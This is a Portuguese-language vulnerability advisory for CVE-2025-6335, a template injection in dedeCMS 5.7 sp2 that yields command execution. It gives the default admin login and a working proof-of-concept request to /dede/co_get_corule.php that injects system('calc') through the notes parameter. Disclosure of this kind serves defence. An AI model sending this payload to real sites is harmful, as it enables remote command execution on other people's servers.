CVE-2025-6335

Title: Vulnerabilidade de execução de comandos por injeção de template no dedeCMS 5.7 sp2

BUG_Author: Ewoji

Affected Version: dedeCMS < 5.7.2

Vendor: Shanghai Zhuozhuo Network Technology Co., LTD

Software: dedeCMS

Vulnerability Files:

• /include/dedetag.class.php

Descrição:

1. Após a instalação, faça login no painel de administração

   • Use a senha de conta padrão admin/admin

2. Explorando o Template

   • Acesse a interface dede/co_get_corule.php
   • Passe o parâmetro /dede/co_get_corule.php? notes={dede:"); system('calc'); ///}&job=1, acessando duas vezes desta forma pode executar o comando

3. Verificando a Exploração:

   • Se a injeção for bem-sucedida, o atacante executará comandos arbitrários

Prova de Conceito:

/dede/co_get_corule.php?notes={dede:");system('calc');///}&job=1
Accessing twice like this can execute the command